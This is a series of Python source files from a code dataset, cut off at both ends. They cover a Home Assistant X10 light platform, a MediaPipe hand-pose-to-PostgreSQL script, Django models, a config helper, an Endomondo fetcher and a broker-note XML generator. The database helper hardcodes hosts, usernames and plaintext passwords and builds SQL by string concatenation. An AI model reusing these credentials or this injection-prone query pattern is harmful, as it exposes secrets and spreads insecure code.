}\n","sub_path":"venv/lib/python3.8/site-packages/python_socks/_proxy_async_aio.py","file_name":"_proxy_async_aio.py","file_ext":"py","file_size_in_byte":4792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"105695561","text":"\"\"\"\nSupport for X10 lights using RF comms. \n\nI did this because for some reason one of my devices won't work with the CM11a,\nonly the CM17 \"firecracker\". Heyu already supports this; just needs to be\ncalled with `fon/off` rather than `on/off`\n\"\"\"\nimport logging\nfrom subprocess import CalledProcessError\n\nimport voluptuous as vol\n\nfrom homeassistant.const import (CONF_NAME, CONF_ID, CONF_DEVICES)\nfrom homeassistant.components.light import (\n ATTR_BRIGHTNESS, PLATFORM_SCHEMA)\nfrom homeassistant.components.light.x10 import X10Light, x10_command\nimport homeassistant.helpers.config_validation as cv\n\n_LOGGER = logging.getLogger(__name__)\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\n vol.Required(CONF_DEVICES): vol.All(cv.ensure_list, [\n {\n vol.Required(CONF_ID): cv.string,\n vol.Required(CONF_NAME): cv.string,\n }\n ]),\n})\n\n\ndef setup_platform(hass, config, add_entities, discovery_info=None):\n \"\"\"Set up the x10 RF Light platform.\"\"\"\n try:\n x10_command('info')\n except CalledProcessError as err:\n _LOGGER.error(err.output)\n return False\n\n add_entities(X10RFLight(light) for light in config[CONF_DEVICES])\n\n\nclass X10RFLight(X10Light):\n \"\"\"Representation of an X10 RF Light.\"\"\"\n\n def turn_on(self, **kwargs):\n \"\"\"Instruct the light to turn on.\"\"\"\n x10_command('fon ' + self._id)\n self._brightness = kwargs.get(ATTR_BRIGHTNESS, 255)\n self._state = True\n\n def turn_off(self, **kwargs):\n \"\"\"Instruct the light to turn off.\"\"\"\n x10_command('foff ' + self._id)\n self._state = False\n","sub_path":"custom_components/light/x10rf.py","file_name":"x10rf.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"518251544","text":"import copy\nimport subprocess\nimport os\n\nimport cv2\nimport mediapipe as mp\nimport psycopg2\nimport psycopg2.extras\nimport xml.etree.ElementTree as elemTree\nfrom xml.etree.ElementTree import parse\nimport json\nimport traceback\n\n#디비 접속util\nclass SqlMapper:\n #생성자\n def __init__(self):\n self.connect()\n\n def connect(self):\n ## nhn 52\n #self.conn = psycopg2.connect(\"dbname='gaic_db' user='gaic' host='133.186.146.169' port='15502' password='gaic123!@#' \")\n ## bts 52\n # self.conn = psycopg2.connect( \"dbname='gaic_db' user='gaic' host='175.201.6.4' port='15502' password='gaic123!@#' \")\n ## local\n self.conn = psycopg2.connect( \"dbname='gaic_db' user='postgres' host='192.168.50.217' port='5432' password='gjac' \")\n\n if self.conn == False:\n raise ConnectionError(\"## DB connection pool created Fail\")\n\n self.cursor = self.conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n print(\"db connection..ok\")\n\n def select_workList(self, table_name, data_dic, status_list=None, column_list=None, option = None):\n # conn = psycopg2.connect(dbinfo.conn_info)\n\n sql = \"select \"\n if column_list != None:\n sql += \",\".join(column_list)\n else:\n sql += \" * \"\n sql += \" from \" + table_name\n where = \" where 1 = 1\"\n\n for key, value in data_dic.items():\n where += \" and \" + key + \" = '\" + value + \"'\"\n\n if status_list != None:\n status_str = \"','\".join(status_list)\n where += \" and work_status in ('\" + status_str + \"')\"\n\n if option != None:\n where += \" \" + option\n\n sql += where + \";\"\n\n print(sql)\n self.cursor.execute(sql)\n result = self.cursor.fetchall()\n\n # self.conn.commit()\n # self.conn.close()\n\n result_dic =[]\n for data in result:\n result_dic.append(dict(data))\n return result_dic\n\n def update_status(self, table_name, data_dic, con_dic):\n # conn = psycopg2.connect(dbinfo.conn_info)\n # cursor = conn.cursor()\n try :\n cnt1 = 0\n set_query = \" set \"\n for key, value in data_dic.items():\n set_query += key + \" = '\" + value + \"'\"\n cnt1 += 1\n if len(data_dic) > cnt1:\n set_query += \",\"\n where_query = \" where 1=1 \"\n for key, value in con_dic.items():\n where_query += \" and \" + key + \" = '\" + value + \"'\"\n sql = \"update \" + table_name + set_query + where_query + \";\"\n\n self.cursor.execute(sql)\n print(sql)\n except :\n self.conn.rollback()\n raise\n # self.conn.commit()\n # self.conn.close()\n\n # sqlMappid : xml파일명.수행아이디\n # Mabatis (차후 psycopg2를 Mabatis로 변경할 것)\n # sqlMapperid : filename.(select, update, delete IdName)\n def get_select(self, sqlMapperid=None, parameter=None):\n sqlStr = self.getSql(sqlMapperid, \"select\")\n\n if sqlStr == \"\":\n raise ConnectionError(\"not Query parse error: %s\" % sqlMapperid)\n\n # 변수 파싱\n for key in parameter:\n findStr = (\"#{%s}\" % key)\n while sqlStr.find(findStr) > -1:\n sqlStr = sqlStr.replace(findStr, parameter[key] )\n\n while (sqlStr.find('[if test=\"') > -1):\n start_porint = sqlStr.find('[if test=\"')\n ifStrEnd = sqlStr.find('\"]')\n end_point = sqlStr.find(\"[/if]\")\n\n ifStr = sqlStr[start_porint + 10:ifStrEnd] # 0:\n ifStrArr = ifStr.split(\"!=\")\n print(\"%s != %s\" % (parameter[ifStrArr[0].strip()], ifStrArr[1].strip()))\n\n if parameter[ifStrArr[0].strip()] != ifStrArr[1].strip().replace(\"''\", \"\"):\n ifpro = \"Y\"\n else:\n ifpro = \"N\"\n\n if ifpro == \"N\": # if값이 참이 아니면\n sqlStr = sqlStrStart_Str + sqlStrend_str\n else:\n sqlStr = sqlStrStart_Str + ifTrueStr + sqlStrend_str\n\n # sql 실행\n print(sqlStr)\n\n self.cursor.execute(sqlStr)\n result = self.cursor.fetchall()\n\n # 딕셔너리로 변환해서 반환\n result_dic = []\n for data in result:\n result_dic.append(dict(data))\n return result_dic\n\n def set_insertQuery(self, sqlMapperid=None, parameter=None):\n sqlStr = self.getSql(sqlMapperid,\"insert\")\n\n if sqlStr ==\"\":\n raise ConnectionError(\"not Query parse error: %s\" % sqlMapperid)\n\n #변수 파싱\n for key in parameter:\n findStr = (\"#{%s}\" % key)\n while sqlStr.find(findStr) > -1:\n sqlStr = sqlStr.replace( findStr, \"'\"+parameter[key]+\"'\")\n\n try:\n self.cursor.execute(sqlStr)\n except:\n self.close()\n self.connect()\n self.cursor.execute(sqlStr)\n\n def set_updateQuery(self, sqlMapperid=None, parameter=None):\n sqlStr = self.getSql(sqlMapperid,\"update\")\n\n if sqlStr ==\"\":\n raise ConnectionError(\"not Query parse error: %s\" % sqlMapperid)\n\n #변수 파싱\n for key in parameter:\n findStr = (\"#{%s}\" % key)\n while sqlStr.find(findStr) > -1:\n sqlStr = sqlStr.replace( findStr, \"'\"+str(parameter[key])+\"'\")\n print(\"sql-->%s\" % sqlStr)\n\n try:\n self.cursor.execute(sqlStr)\n except:\n try:\n self.conn.closed()\n except:\n pass\n self.connect()\n self.cursor.execute(sqlStr)\n\n def commit(self):\n self.conn.commit()\n\n def rollbak(self):\n try:\n self.rollbak()\n except:\n pass\n\n def close(self):\n try:\n self.conn.commit()\n self.conn.closed()\n except:\n pass\n #소멸자\n def __del__(self):\n try:\n self.conn.commit()\n self.conn.closed()\n except:\n pass\n\n def getSql(self, sqlMapperid, queryType = \"select\"):\n if sqlMapperid == None:\n raise Exception(\"XML mapper None error..\")\n print(\"sqlMapperid:%s\" % sqlMapperid)\n path = os.path.dirname(os.path.abspath(__file__))\n sqlInfo = sqlMapperid.split(\".\")\n sqlXml = parse(path+\"/%s.xml\" % sqlInfo[0]).getroot()#xml파일읽기\n\n\n sqlStr = \"\"\n for selObj in sqlXml.findall(queryType):\n\n selid = selObj.attrib[\"id\"]\n\n if selid == sqlInfo[1]:\n sqlStr = selObj.text\n break\n print(\"sql-->%s\" %sqlStr )\n return sqlStr\n\n\n\n\nprint(\"___________프로세서 탐색 시작___________________________________________\")\ncommand = \"ps -ef | grep getHandPose.sh | grep -v 'grep' | wc -l\"\nfd_popen = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n(stdoutdata, stderrdata) = fd_popen.communicate()\ndataCnt = stdoutdata.decode('utf8')\nprint(\"____________프로세서 탐색 끝___________________________________:%d\" % dataCnt)\nif int(dataCnt) >0:\n exit(0);\n\n\n#mp_drawing = mp.solutions.drawing_utils\n#mp_drawing_styles = mp.solutions.drawing_styles\nmp_hands = mp.solutions.hands\n\n#0.디비 접속\nsqlmap = SqlMapper()\n\ntestCnt = 0\n\n#db에서 처리목록을 가져온다.\ntask_list = sqlmap.get_select(\"worklist_ext.selectTasklist\",{})\nfor task_row in task_list:\n try:\n '''\n if testCnt >0 :\n break\n else:\n testCnt += 1\n '''\n # For webcam input:\n #video_file = task_row[\"video_path\"] #운용\n rootPath = '/mnt/disk3/donggyeong/210913' #bts\n video_file = rootPath+\"./mp4/p01_1h_if_f40_20210814_144037(3)_Y.mp4\" #테스트\n\n taskData = {}\n\n taskData = task_row[\"task_data\"]\n taskData[\"data\"][\"skeleton\"] = []\n\n cap = cv2.VideoCapture(video_file)\n\n #image = cap.read()\n length = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n fps = cap.get(cv2.CAP_PROP_FPS)\n print(\"총프레임:\", length, \"화면크기\", width, \"*\",height, \"프레임:\", fps)\n\n #test\n #start_time = 12.215\n #end_time = 14.665\n\n ##운용\n start_time = float(taskData[\"start\"])\n end_time = float(taskData[\"end\"])\n\n frame_start = 0\n frame_end = 0\n\n fps = cap.get(cv2.CAP_PROP_FPS)\n frame_start = fps * start_time\n frame_end = fps * end_time\n\n run_frame = int(frame_start)\n\n # 2.5등분한다.\n total_frame = frame_end - frame_start\n total_frame_mid = total_frame / 5\n\n frameCnt = 0 #프레임 취하는 번호\n\n hadposeLsit = []\n\n with mp_hands.Hands(min_detection_confidence=0.5, min_tracking_confidence=0.5) as hands:\n while cap.isOpened():\n cap.set(cv2.CAP_PROP_POS_FRAMES, run_frame)\n success, image = cap.read()\n if success:\n timest = cap.get(cv2.CAP_PROP_POS_MSEC)/1000\n print(\"for frame : %s timestamp is %s: fps:%f framePoint : %f end frame : %f frame cnt: %d \" % (str(run_frame), str(timest) ,fps, frame_start + (total_frame_mid * frameCnt ) , frame_end, frameCnt+1 ) )\n else:\n break\n\n run_frame += 1\n\n if not success:\n print(\"Ignoring empty camera frame.\")\n # If loading a video, use 'break' instead of 'continue'.\n continue\n\n #if end\n\n # Flip the image horizontally for a later selfie-view display, and convert\n # the BGR image to RGB.\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n # To improve performance, optionally mark the image as not writeable to\n # pass by reference.\n image.flags.writeable = False\n results = hands.process(image)\n\n image_height, image_width, _ = image.shape\n\n # Draw the hand annotations on the image.\n #image.flags.writeable = True\n #image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n\n # 4.dic형태의 객체를로 데이터를 담는다.\n skupdata = {}\n\n if results.multi_hand_landmarks:\n skupdata[\"time\"] = timest\n skupdata[\"dataURL\"] = \"\"\n\n skeleton_data = []\n for hand_landmarks in results.multi_hand_landmarks:\n hanpsoseCnt = 1\n # Here is How to Get All the Coordinates\n for ids, landmrk in enumerate(hand_landmarks.landmark):\n if hanpsoseCnt <= 21:\n # print(ids, landmrk)\n cx, cy = landmrk.x * image_width, landmrk.y*image_height\n #print(cx, cy)\n skeleton = {}\n #print (ids, cx, cy)\n skeleton[\"x\"] = (cx/width)\n skeleton[\"y\"] = (cy/height)\n skeleton[\"z\"] = 0\n skeleton_data.append(copy.deepcopy(skeleton))\n hanpsoseCnt += 1\n #if end\n #for end\n print(\"frameCnt:%d\" % frameCnt)\n #for end\n skupdata[\"skeleton\"] = copy.deepcopy(skeleton_data)\n hadposeLsit.append(copy.deepcopy(skupdata))\n #taskData[\"data\"][\"skeleton\"].append(copy.deepcopy(skupdata));\n frameCnt += 1 # 프레임 번호\n\n #다른 푸레임 핸드포즈 위치\n #run_frame += total_frame_mid\n #end if\n\n #cv2.imshow('MediaPipe Hands', image)\n #if cv2.waitKey(5) & 0xFF == 27:\n # break\n if run_frame >= frame_end :\n break\n #end while\n #with\n cap.release()\n\n # 핸드포즈 선택및 저장\n runCnt = 1\n saveCnt = 0\n betweenCnt = (frameCnt - 2) / 3 # 건너 뛰는 수량\n jumpCnt = 1 # 건너 뛰는 위치\n for rowhand_data in hadposeLsit:\n\n if runCnt == 1 or runCnt >= frameCnt or runCnt == int(jumpCnt): # 처음과 마지막건은 넣는다.\n print(\"total cnt : %d in hand pose num: %d runCnt: %d jumpCnt:%f\" % (frameCnt, saveCnt, runCnt, jumpCnt))\n taskData[\"data\"][\"skeleton\"].append(rowhand_data)\n jumpCnt += betweenCnt\n saveCnt += 1\n if saveCnt >= 5:\n break\n runCnt += 1\n\n temp_data = str(json.dumps(taskData))\n print(\"taskData: %s\" % temp_data)\n\n\n #DB 업데이트\n #json 데이터 업데이트\n\n sqlmap.set_updateQuery(\"worklist_ext.updateTaskData\", {'task_data':temp_data\n , 'work_id': task_row[\"work_id\"]\n , 'task_id': task_row[\"task_id\"]\n })\n #처리내용 업데이트\n sqlmap.set_updateQuery(\"worklist_ext.updateTaskPro\", { 'work_id': task_row[\"work_id\"]\n , 'task_id': task_row[\"task_id\"]\n })\n\n sqlmap.commit()\n\n except Exception as e:\n traceback.print_exc()\n cap.release()\n sqlmap.rollbak()\n\n#for end\n\n\n\n\n\n","sub_path":"getHandposseframeToDB_5.py","file_name":"getHandposseframeToDB_5.py","file_ext":"py","file_size_in_byte":14880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"357165393","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\n\n\nclass UserProfile(User):\n\tavatar = models.ImageField(blank=True)\n\tmobile_number = models.CharField(max_length=10, blank=True)\n\tbio = models.CharField(max_length=256, blank=True)\n\n\tdef to_dict(self):\n\t\tcontext = {\n\t\t\t'id': self.id,\n\t\t\t'superuser': self.is_superuser,\n\t\t\t'username': self.username,\n\t\t\t'email': self.email,\n\t\t\t'first_name': self.first_name,\n\t\t\t'last_name': self.last_name,\n\t\t\t'mobile_number': self.mobile_number,\n\t\t\t'bio': self.bio,\n\t\t}\n\t\tif self.avatar:\n\t\t\tcontext['avatar'] = self.avatar.url\n\t\treturn context\n\n\t@staticmethod\n\tdef get_by_id(user_id):\n\t\ttry:\n\t\t\tuser_profile = UserProfile.objects.get(id=user_id)\n\t\t\treturn user_profile\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn None\n\t\n\t@staticmethod\n\tdef filter_by(first_name=None, last_name=None, username=None, email=None, mobile_number=None, **kwargs):\n\t\tquery = {}\n\t\tif first_name:\n\t\t\tquery['first_name'] = first_name\n\t\tif last_name:\n\t\t\tquery['last_name'] = last_name\n\t\tif username:\n\t\t\tquery['username'] = username\n\t\tif email:\n\t\t\tquery['email'] = email\n\t\tif mobile_number:\n\t\t\tquery['mobile_number'] = mobile_number\n\t\tquery.update(**kwargs)\n\t\treturn UserProfile.objects.filter(**query)\n\t\t\n\t@staticmethod\n\tdef get_all(exclude=None):\n\t\tif exclude:\n\t\t\tusers = UserProfile.objects.exclude(id=exclude)\n\t\telse:\n\t\t\tusers = UserProfile.objects.all()\n\t\treturn users\n\t\n\t@staticmethod\n\tdef add(first_name, last_name, username, password, email, mobile=None, bio=None, avatar=None):\n\t\tuser_profile = UserProfile()\n\t\tuser_profile.first_name = first_name\n\t\tuser_profile.last_name = last_name\n\t\tuser_profile.email = email\n\t\tuser_profile.username = username\n\t\tuser_profile.set_password(password)\n\t\tif mobile:\n\t\t\tuser_profile.mobile_number = mobile\n\t\tif bio:\n\t\t\tuser_profile.bio = bio\n\t\tif avatar:\n\t\t\tuser_profile.avatar = avatar\n\t\tuser_profile.save()\n\t\treturn user_profile\n\n\tdef edit(self, first_name=None, last_name=None, mobile=None, bio=None, username=None, avatar=None):\n\t\tif first_name:\n\t\t\tself.first_name = first_name\n\t\tif last_name:\n\t\t\tself.last_name = last_name\n\t\tif username:\n\t\t\tself.username = username\n\t\tif mobile:\n\t\t\tself.mobile_number = mobile\n\t\tif bio:\n\t\t\tself.bio = bio\n\t\tif avatar:\n\t\t\tself.avatar = avatar\n\t\tself.save()\n\t\t\n\nclass Photo(models.Model):\n\tauthor = models.ForeignKey(UserProfile, on_delete=models.CASCADE, default=1)\n\tphoto = models.ImageField()\n\t\n\tdef to_dict(self):\n\t\treturn {\n\t\t\t'author_id': self.author.id,\n\t\t\t'photo': self.photo.url\n\t\t}\n\t\n\t@staticmethod\n\tdef get_by_id(pk):\n\t\ttry:\n\t\t\tphoto = Photo.objects.get(pk=pk)\n\t\t\treturn photo\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn None\n\t\t\n\t@staticmethod\n\tdef get_all():\n\t\treturn Photo.objects.all()\n\t\t\n\t@staticmethod\n\tdef filter_by(author=None, photo=None, **kwargs):\n\t\tquery = {}\n\t\tif author:\n\t\t\tquery['author'] = author\n\t\tif photo:\n\t\t\tquery['photo'] = photo\n\t\tquery.update(**kwargs)\n\t\treturn Photo.objects.filter(**query)\n\t\n\t@staticmethod\n\tdef add(author, photo):\n\t\tnew_photo = Photo()\n\t\tnew_photo.author = author\n\t\tnew_photo.photo = photo\n\t\tnew_photo.save()\n\t\treturn new_photo\n\t\n\tdef edit(self, author=None, photo=None):\n\t\tif author:\n\t\t\tself.author = author\n\t\tif photo:\n\t\t\tself.photo = photo\n\t\tself.save()\n\t\treturn self\n","sub_path":"account/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"22151242","text":"from tkinter import *\n\ndef saveconfig(parser, config):\n '''\n Saves the parser configuration to the config.ini file\n\n Inputs:\n - (parser): configuration parser\n - (dict): config dictionary with Tkinter variables\n\n Outputs:\n - (config.ini): configuration file\n '''\n\n # Loop over the config dictionary and get TKinter variables\n for option in config:\n parser.set('Config',option,str(config[option].get()))\n cfgfile = open('config.ini','w')\n parser.write(cfgfile)\n cfgfile.close()\n\ndef ConfigSectionMap(parser, section):\n '''\n Generates a dictionary with TKinter variables from the config parser\n\n Inputs:\n - (parser): configuration parser object\n - (str): section name to generate map for\n\n Outputs:\n - (dict): dictionary with configuration\n '''\n dict = {}\n options = parser.options(section)\n for option in options:\n type = option[0:3]\n if type == 'str':\n dict[option] = StringVar()\n elif type == 'dbl':\n dict[option] = DoubleVar()\n elif type == 'int':\n dict[option] = IntVar()\n elif type == 'bln':\n dict[option] = BooleanVar()\n else:\n raise NotImplementedError\n dict[option].set(parser.get(section, option))\n return dict\n\n\ndef ConfigSectionMapPythonvars(parser, section):\n '''\n Generates a dictionary with default Python variables from the config parser\n\n Inputs:\n - (parser): configuration parser object\n - (str): section name to generate map for\n\n Outputs:\n - (dict): dictionary with configuration\n '''\n dict = {}\n options = parser.options(section)\n for option in options:\n type = option[0:3]\n if type == 'str':\n dict[option] = str(parser.get(section, option))\n elif type == 'dbl':\n dict[option] = float(str(parser.get(section, option)))\n elif type == 'int':\n dict[option] = int(parser.get(section, option))\n elif type == 'bln':\n if parser.get(section, option) == \"True\":\n dict[option] = True\n else:\n dict[option] = False\n else:\n raise NotImplementedError\n return dict\n\n","sub_path":"SALTI/Configurator.py","file_name":"Configurator.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"105579679","text":"from requests import HTTPError\nfrom challenges.models import Challenge\nfrom fetcher.api import EndomondoApi\nfrom fetcher.challenge_page import ChallengePage\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\nfrom fetcher.loggers import fetch_logger\n\n\nclass Command(BaseCommand):\n help = 'Fetches active challenges from endomondo.com'\n\n def handle(self, *args, **options):\n api = EndomondoApi()\n\n challenges = Challenge.objects.get_non_final()\n\n if challenges:\n api.login(settings.ENDOMONDO_USERNAME, settings.ENDOMONDO_PASSWORD)\n\n for ch in challenges:\n orig_page = None\n try:\n\n fetch_logger.info('Updating challenge: {}'.format(ch.external_id))\n url = 'https://www.endomondo.com/challenges/{}'.format(ch.external_id)\n orig_page = process_page(api, ch, url)\n except HTTPError as e:\n if e.response.status_code == 404:\n fetch_logger.info('Challenge not found')\n ch.parse_error = True\n ch.status_text = 'NOT FOUND'\n ch.save()\n else:\n raise e\n else:\n prev_url = orig_page.prev_page_url\n while prev_url is not None:\n page = process_page(api, ch, prev_url)\n prev_url = page.prev_page_url\n\n next_url = orig_page.next_page_url\n while next_url is not None:\n page = process_page(api, ch, next_url)\n next_url = page.next_page_url\n\n fetch_logger.info('Completed')\n\n\ndef process_page(api, ch, url):\n html = api.get_page(url)\n page = ChallengePage(html)\n ch.update(page)\n return page\n","sub_path":"fetcher/management/commands/fetch_challenges.py","file_name":"fetch_challenges.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"160124765","text":"\"\"\"--------------------------------------------------------------------------------------------------------------------------------------\nMODULE\n BrokerNoteXMLGenerator\n\nDESCRIPTION\n This module contains an object used for generating the XML content for a\n broker note.\n\n-----------------------------------------------------------------------------------------------------------------------------------------\nHISTORY\n=========================================================================================================================================\nDate Change no Developer Requester Description\n-----------------------------------------------------------------------------------------------------------------------------------------\n2018-08-13 FAOPS-61 Stuart Wilson Capital Markets Initial Implementation.\n2019-05-15 FAOPS-492 Hugo Decloedt Seven Khoza Adding companion fields for all instruments.\n2020-02-10 FAOPS-725 Cuen Edwards Kgomotso Gumbo Minor refactoring.\n2020-06-03 FAOPSS-739 Ntokozo Skosana Nqubeko Zondi Added logic for generating XML content\n for combination instruments.\n-----------------------------------------------------------------------------------------------------------------------------------------\n\"\"\"\n\nfrom datetime import datetime\n\nimport acm\n\nimport at\nfrom at_time import acm_date\nfrom DocumentGeneral import get_fparameter, get_party_full_name, format_amount\nfrom DocumentXMLGenerator import GenerateDocumentXMLRequest, DocumentXMLGenerator\nfrom zak_funcs import formnum\n\n\nclass GenerateCustodianAccountDetails(object):\n \"\"\"\n Constructor class for generating required custodian details for broker notes\n\n Using constructor due to disconnection between settlement system and front sending out the broker notes\n keeping the custodian details separate because the way in which they settle may change in the future with MT500\n series and the inclusion of further custodians (Euroclear and JP Morgan)\n \"\"\"\n\n def __init__(self, confirmation):\n\n settle_category = confirmation.Trade().SettleCategoryChlItem()\n currency = confirmation.Trade().Currency()\n acquirer = confirmation.Acquirer()\n \"\"\"temporary bypass until front cache updates sett category for allocation trades\"\"\"\n if not settle_category:\n custodian = 'SA Custodian'\n\n elif settle_category:\n if settle_category.Name() == 'SA_CUSTODIAN':\n custodian = 'SA Custodian'\n elif settle_category.Name()[:9] == 'Euroclear':\n custodian = 'Euroclear Custodian'\n elif settle_category.Name()[:9] == 'JP Morgan':\n custodian = 'JP Morgan Custodian'\n elif settle_category.Name()[:3] == 'SSA':\n custodian = 'SSA Custodian'\n else:\n raise AttributeError(\"Invalid trade settlement category\")\n #else:\n # raise AttributeError(\"No settle category selected\")\n\n valid_accounts = self._get_valid_acquirer_accounts(acquirer)\n\n cash_acc, scrip_acc = self._get_cash_and_securities_account_using_custodian_and_currency(valid_accounts,\n custodian, currency)\n\n try:\n self.custodian_cash = cash_acc.Account()\n self.custodian_scrip = scrip_acc.Account()\n self.custodian_bic = scrip_acc.Bic().Name()\n self.custodian = custodian\n if scrip_acc.Bic3() is not None:\n self.PSET = scrip_acc.Bic3().Name()\n else:\n self.PSET = scrip_acc.Bic().Name()\n\n except AttributeError:\n raise AttributeError(\"Custodian account details are not setup correctly on acquirer\")\n\n def free_text_fields_used(self):\n return ['SA Custodian', 'Euroclear Custodian', 'SSA Custodian', 'JP Morgan Custodian']\n\n def _get_valid_acquirer_accounts(self, acquirer):\n valid_accounts = list()\n for account in acquirer.Accounts():\n if account.Accounting() is None:\n continue\n elif account.Accounting() not in self.free_text_fields_used():\n continue\n else:\n valid_accounts.append(account)\n return valid_accounts\n\n def _get_cash_and_securities_account_using_custodian_and_currency(self, valid_accounts, custodian, currency):\n cash_acc = None\n sec_acc = None\n for account in valid_accounts:\n if account.Accounting() != custodian:\n continue\n elif account.Currency() is None or account.Currency() == currency:\n if account.AccountType() == 'Cash':\n cash_acc = account\n elif account.AccountType() == 'Cash and Security':\n sec_acc = account\n\n if sec_acc is None:\n raise RuntimeError(\"Acquirer account details not setup for selected settlement category - Broker Note\")\n\n elif cash_acc is None:\n cash_acc = sec_acc\n\n return cash_acc, sec_acc\n\n\nclass GenerateBrokerNoteXMLRequest(GenerateDocumentXMLRequest):\n \"\"\"\n An object embodying the request to generate the XML content for a\n broker note.\n \"\"\"\n\n def __init__(self, confirmation, custodian_parameters):\n \"\"\"\n Constructor.\n \"\"\"\n # super(GenerateBrokerNoteXMLRequest, self).__init__(confirmation, custodian_parameters, None, None)\n\n self.from_party = confirmation.Acquirer()\n self.from_party_contact = confirmation.AcquirerContactRef()\n self.to_party = confirmation.Counterparty()\n self.to_party_contact = confirmation.CounterpartyContactRef()\n self.instype = confirmation.Trade().Instrument().InsType()\n self.acm_trade = confirmation.Trade()\n self.acm_instrument = confirmation.Trade().Instrument()\n self.currency = self.acm_instrument.Currency().Name()\n self.counterparty = confirmation.Trade().Counterparty()\n self.acm_underlying = confirmation.Trade().Instrument().Underlying()\n self.calc_space = acm.Calculations().CreateCalculationSpace(acm.GetDefaultContext(), 'FTradeSheet')\n self.unexcor_code = self.counterparty.AddInfoValue('UnexCor Code')\n self.acquirer_unexcore_code = confirmation.Acquirer().AddInfoValue('UnexCor Code')\n self.settlement_date = acm_date(self.acm_trade.ValueDay())\n self.custodian_cash = custodian_parameters.custodian_cash\n self.custodian_scrip = custodian_parameters.custodian_scrip\n self.custodian_bic = custodian_parameters.custodian_bic\n self.PSET = custodian_parameters.PSET\n self.custodian = custodian_parameters.custodian\n self.companion = self.acm_instrument.AddInfoValue('Companion')\n self.companion_spread = self.acm_trade.AddInfoValue('Companion_Spread')\n\n\nclass BrokerNoteXMLGenerator(DocumentXMLGenerator):\n \"\"\"\n An object responsible for generating the XML content for a broker\n note.\n \"\"\"\n\n def _get_documentation_parameter(self, parameter_name):\n \"\"\"\n Get a documentation FParameter value.\n \"\"\"\n return get_fparameter('ABSABrokerNoteParameters', parameter_name)\n\n def format_date(self, date):\n \"\"\"\n Formats the date returned to meet required date specifications\n \"\"\"\n if len(date) < 11:\n return datetime.strptime(date, '%Y-%m-%d').strftime('%d/%m/%Y')\n return datetime.strptime(date, '%Y-%m-%d %H:%M:%S').strftime('%d/%m/%Y')\n\n def length_of_number(self, number):\n \"\"\"\n Returns to the number of digits in a number excluding decimal digits\n \"\"\"\n _string = str(number).split('.')\n return len(_string[0])\n\n def format_decimal_rounding(self, variable):\n \"\"\"\n Formats the decimal rounding for numbers displayed on the broker notes\n \"\"\"\n if isinstance(variable, float):\n if self.length_of_number(variable) > 3:\n variable = str(self._get_documentation_parameter('broker_note_number_format')).format(\n format_amount(variable))\n else:\n variable = str(self._get_documentation_parameter('broker_note_percentage_format')).format(\n format_amount(variable))\n return str(variable)\n\n def _generate_element_using_dictionary(self, element_name, element_dict=None, ignore_update=False):\n \"\"\"\n Generates element using dictionary type and applies required formatting to currencies and decimals\n \"\"\"\n element_text = None\n\n if not element_dict:\n element_text = ''\n\n elif isinstance(element_dict, (str, float, int)):\n element_text = element_dict\n\n elif isinstance(element_dict, dict):\n element_text = element_dict[element_name]\n return self._generate_element(element_name, self.format_decimal_rounding(element_text), ignore_update)\n\n def security_description(self, request):\n\n if request.acm_underlying:\n instrument_name = request.acm_underlying.Name()\n else:\n instrument_name = request.acm_instrument.Name()\n\n if request.instype in [at.INST_BUYSELLBACK, at.INST_REPO_REVERSE, at.INST_FRN, at.INST_COMBINATION]:\n return instrument_name\n else:\n leg = request.acm_instrument.Legs()[0]\n fixed_rate = leg.FixedRate()\n maturity_year = request.acm_instrument.ExpiryDate().split()[0][:4]\n security_description = str(instrument_name) + ' ' + str(fixed_rate) + '% ' + str(maturity_year)\n if fixed_rate == 0:\n return instrument_name\n else:\n return security_description\n\n def return_calc_value(self, calculation):\n return round(calculation.Value(), 5)\n\n def clean_price_repo(self, request):\n clean_price = self.trade_sheet_calculations(request)['clean_price_trade']\n dirty_price = self.trade_sheet_calculations(request)['dirty_price_trade']\n accrued_interest = dirty_price - clean_price\n actual_clean_price = request.acm_trade.AllInPrice() - accrued_interest\n return actual_clean_price\n\n def accrued_interest_combination(self, request):\n top_trade = request.acm_trade\n calc_space = acm.Calculations().CreateCalculationSpace(acm.GetDefaultContext(), 'FTradeSheet')\n accrued_interest = calc_space.CreateCalculation(top_trade, 'Portfolio Traded Interest')\n return accrued_interest.Value()\n\n def check_population_of_companion_and_spread(self, request):\n \"\"\"\n Check that if the companion is set on the instrument the companion spread is also set on the trade.\n :param request:\n \"\"\"\n if request.companion and not request.companion_spread:\n raise ValueError('Instrument specifies a companion, but no companion spread is specified on trade.')\n elif not request.companion and request.companion_spread:\n raise ValueError('Trade specifies a companion spread, but no companion is specified on instrument.')\n\n def trade_sheet_calculations(self, request):\n top_node = request.calc_space.InsertItem(request.acm_trade)\n accr_int_leg_1_calc = request.calc_space.CreateCalculation(top_node, 'accruedInterestLeg1')\n accr_int_leg_2_calc = request.calc_space.CreateCalculation(top_node, 'accruedInterestLeg2')\n clean_consid_leg_1_calc = request.calc_space.CreateCalculation(top_node, 'cleanConsiderationLeg1')\n 